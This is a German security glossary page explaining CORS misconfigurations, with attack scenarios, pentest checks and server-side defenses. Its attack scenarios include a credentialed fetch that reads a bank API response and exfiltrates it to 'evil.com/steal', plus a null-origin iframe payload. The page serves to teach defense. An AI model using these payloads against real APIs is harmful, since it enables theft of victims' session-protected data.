Zum Inhalt springen

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen
Schwachstellenklassen Glossar

CORS - Cross-Origin Resource Sharing Fehlkonfiguration

CORS-Fehlkonfigurationen entstehen wenn Webserver Access-Control-Allow-Origin Wildcards oder nicht validierte Origins zurückgeben. Angreifer können im Browser des Opfers seitenübergreifende Requests mit Cookies stellen und sensitive API-Antworten lesen. Kritisch bei Access-Control-Allow-Credentials: true. Schutz: strikte Origin-Whitelist serverseitig validieren, keine Wildcards mit Credentials kombinieren.

CORS (Cross-Origin Resource Sharing) ist ein Browser-Sicherheitsmechanismus der Same-Origin-Policy-Ausnahmen für berechtigte Cross-Origin-Requests ermöglicht. Fehlkonfigurationen in CORS-Headern erlauben Angreifern, im Browser eines eingeloggten Opfers API-Requests an sensitive Endpunkte zu senden und die Antworten zu lesen - ein Angriff den Same-Origin-Policy eigentlich verhindern soll.

Das CORS-Grundprinzip

Same-Origin-Policy (SOP): Browser erlaubt JavaScript auf site-a.com NICHT, Responses von site-b.com zu lesen (Requests können gesendet werden - aber die Antwort wird blockiert).

CORS-Ausnahme (wenn Server zustimmt):

Access-Control-Allow-Origin: https://site-a.com

Der Browser erlaubt JavaScript dann die Antwort zu lesen.

Fehlkonfigurationen:

Access-Control-Allow-Origin: *            ← Wildcard
Access-Control-Allow-Origin: null         ← null Origin
Access-Control-Allow-Origin: <geklont aus Request>  ← Echo

Problematische Kombination:

Access-Control-Allow-Credentials: true   ← Cookies mitsenden!
Access-Control-Allow-Origin: *           ← Browser BLOCKIERT das
Access-Control-Allow-Origin: <Echo>      ← GEFÄHRLICH!

Angriffsszenarien

Szenario 1 - Origin Echo mit Credentials

Anfälliger Server-Code gibt einfach den Request-Origin zurück:

Access-Control-Allow-Origin: $REQUEST_ORIGIN
Access-Control-Allow-Credentials: true

Angriff von Angreifer-Seite (evil.com):

fetch('https://api.bank.com/account/balance', {
  credentials: 'include'  // Sendet Session-Cookie!
})
.then(r => r.json())
.then(data => {
  // Angreifer liest Kontostand!
  fetch('https://evil.com/steal?data=' + JSON.stringify(data));
});

Ablauf: Opfer besucht evil.com → Browser sendet Request zu api.bank.com MIT Session-Cookie → Server antwortet (CORS erlaubt es wegen Echo-Konfiguration!) → JavaScript liest sensitive Daten → Daten werden zu evil.com exfiltriert.

Szenario 2 - Null-Origin

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<!-- Sandboxed iframe sendet null als Origin -->
<iframe sandbox="allow-scripts" src="data:text/html,
  <script>
  fetch('https://api.target.com/private', { credentials: 'include' })
  .then(r => r.text())
  .then(d => parent.postMessage(d, '*'));
  </script>
"></iframe>

data: URLs haben Origin: null - der Server erlaubt null, der iframe kann lesen.

Szenario 3 - Subdomain-Takeover + CORS

CORS-Whitelist: *.company.com - wenn staging.company.com per Subdomain-Takeover übernommen wird, kann der Angreifer von dort CORS-erlaubte Requests gegen api.company.com senden.

Szenario 4 - Regex-Bypass in Origin-Validierung

Server-Regex: /^https://company\.com$/
Escaping-Fehler: /https://company.com/  (Punkt nicht escaped)
→ companyXcom, company-evil.com matchen ebenfalls!

Erkennung im Pentest

1. Einfacher CORS-Check via curl

# Test: Origin senden und Response prüfen
curl -v -H "Origin: https://evil.com" \
     https://api.target.com/api/user

# Response-Header prüfen:
# Access-Control-Allow-Origin: https://evil.com  ← ECHO! Prüfen!
# Access-Control-Allow-Credentials: true         ← KRITISCH!

2. Systematische Origin-Tests

# Verschiedene Origins testen:
curl -H "Origin: https://evil-target.com" https://target.com/api/
curl -H "Origin: null" https://target.com/api/
curl -H "Origin: https://target.com.evil.com" https://target.com/api/
curl -H "Origin: https://evil.com" https://target.com/api/

3. Burp Suite CORS Testing

  1. Origin-Header auf evil.com setzen
  2. Response: Access-Control-Allow-Origin prüfen?
  3. Falls Echo: mit Credentials testen
  4. Auf private Endpunkte ausweiten

4. Tool: corsy (Python)

# Automatisierter CORS-Scanner:
python3 corsy.py -u https://target.com/api/ -t 10
# Prüft alle bekannten CORS-Fehlkonfigurationen

5. Kritische Endpunkte prüfen

  • /api/user, /api/profile (PII)
  • /api/payment, /api/account (Finanzen)
  • /api/admin (privilegierte Operationen)
  • /api/token, /api/auth (Authentifizierung)

Schweregrade

SchweregradKonfiguration
KRITISCHACAO: Echo + ACAC: true + sensitive Endpunkte
HOCHACAO: null + ACAC: true
MITTELACAO: * (ohne Credentials - kein Session-Zugriff)
INFOACAO: * auf public API ohne sensitive Daten

Schutzmaßnahmen

1. Strikte Origin-Whitelist (EINZIGE korrekte Methode)

// Node.js/Express:
const allowedOrigins = [
  'https://app.company.com',
  'https://www.company.com'
];

app.use((req, res, next) => {
  const origin = req.headers.origin;
  // Immer gegen statische Whitelist prüfen!
  if (allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Vary', 'Origin');  // Cache-Poisoning verhindern!
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }
  next();
});

// FALSCH (Echo):
// res.setHeader('ACAO', req.headers.origin);  // NIEMALS!

2. CORS-Konfiguration per Framework

# Python (Django) - settings.py:
CORS_ALLOWED_ORIGINS = [
  "https://app.company.com",
  "https://www.company.com"
]
# KEIN: CORS_ORIGIN_ALLOW_ALL = True !
CORS_ALLOW_CREDENTIALS = True
// Java (Spring):
@CrossOrigin(origins = {"https://app.company.com"},
             allowCredentials = "true")
// Kein @CrossOrigin(origins = "*") mit allowCredentials!
# Nginx - erlaubt nur exakt diese Origin:
if ($http_origin = "https://app.company.com") {
  add_header 'Access-Control-Allow-Origin' $http_origin;
  add_header 'Access-Control-Allow-Credentials' 'true';
}

3. Vary-Header IMMER setzen wenn Origin dynamisch

Vary: Origin

Verhindert dass Proxy-Caches falsche CORS-Response cachen.

4. Preflight-Requests richtig behandeln

OPTIONS /api/data HTTP/1.1
→ Nur erlaubte Methoden/Header zurückgeben:
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400

5. Credentials mit Wildcard - niemals kombinieren

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Browser blockiert das bereits - aber nie Echo als Workaround verwenden!

6. Null-Origin niemals erlauben

if (origin === 'null') return;  // null ablehnen!
// data: URLs, sandboxed iframes senden null

7. Für interne APIs ohne Browser-Zugriff

CORS deaktivieren (kein Allow-Origin Header) - CORS ist nur für APIs nötig, die von Browsern konsumiert werden.

Cookielose Analyse via Matomo (selbst gehostet, kein Tracking-Cookie). Datenschutzerklärung